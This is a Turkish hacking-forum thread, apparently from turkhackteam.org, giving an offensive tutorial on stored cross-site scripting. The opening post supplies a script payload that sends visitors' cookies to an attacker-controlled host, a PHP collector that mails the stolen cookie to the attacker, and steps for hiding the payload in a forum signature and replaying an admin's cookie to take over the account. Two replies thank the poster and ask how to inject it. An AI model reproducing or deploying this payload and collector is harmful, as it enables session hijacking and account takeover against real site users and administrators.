XSS Açığı Nedir? Nasıl Uygulanır?

xSLayer

Uzman üye
8 Tem 2012
1,156
0
Bursa
Günümüzde XSS açığı ile bir çok büyük sistemlere girilebiliyor. Şunu unutmayın; mesele XSS açığını bulmak değil, mesele XSS açığını bulduktan sonra devamını getirebilmektir.

Gelelim konuya;
XSS Nasıl Yapılır?
Bu dökümanda size XSS ile bir hack yöntemi anlatacağım öncelikle işin mantığına değinmek istiyorum. Küçük bir javascript koduyla, kodun bulunduğu mevcut sayfaya ait cookie'yi çalabiliyoruz. Peki bu bizim ne işimize yarayacak? Ekleyeceğimiz bir php mail yollama koduyla elde edilen cookie değeri belirttiğimiz maile yollanabilir. Böylece o cookie değerini bizim o mevcut site uzerinde sahip olduğumuz cookie ile değiştirebiliriz. Yani eğer adminin cookie'yi çalarsak ve o sitedeki kendi cookiemiz ile değiştirirsek. Siteyi açtığımız an admin olarak giriş yapmış oluruz.

Buradaki sorun ise sadece mevcut sayfanın cookie değerini alabilmesi, yani www.hedefsite.com uzerinde bu kodu yazabilmemiz lazım. Imzasında veya herhangi bir yerinde html kodu serbest olan forumda aşşağıdaki kodu giriyoruz:

**********window.navigate("http://www.sitem.com/cookieyolla.php?data="+********.cookie)</script>

Not: Bu kodu başka bir şeyin arkasına gizleyebilirsiniz, örneğin imzanızda html sayesinde kayan yazı koyarsınız ama arka planda bu kodda bulunur.

Bu html kodu, kodun mevcut olduğu sayfayı açanların cookie değerlerini cookieyolla.php uzerinden bize yollamaktadır. Cookie yolla.php çok basit bir php kodudur, "data" değerini "cookieyolla.php" üzerinden maille atar "+********.cookie ise cookie yi çalan javascript kodudur. Işin mantığı bu.

Cookieyolla.php kodu:

$cookie = $_GET['data'];

$kime = "[email protected]";

$konu = "cookie";

mail ($kime,$konu,$cookie);

?>


Not: cookieyolla.php'yi kendiniz değiştirebilirsiniz, yaratıcılığınıza bağlı.

[email protected] yerine cookie değerini yollamasını istediğiniz maili(yani kendi mailinizi yazın)

Cookie elimize geldiği zaman "Bilgisayarım/C/********sandSettings/Kullanıcıadı/Cookies" klasörü içindeki html kodunu soktuğunuz sitenin adının bulunduğu txt dosyasındaki cookie ile değiştirin böylece gelen cookie ile giriş yapmış olursunuz.

Teşekkürü Çok Görmeyin Yeter
 

gea1234

Üye
19 May 2013
52
0
Teşekkürler ''xSLayer'' ne kadar karışık görünsede her şey bir anda olmaz yavaş yavaş gelişicez doğanın kanunu :)
 

Ghost3503

Üye
30 Mar 2013
135
0
C//
benim anlamadığım nokta şu. O cookie kodunu nasıl siteye sokacağız yani nerden göndereceğiz bunu anlatırsanız sevinirim :)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.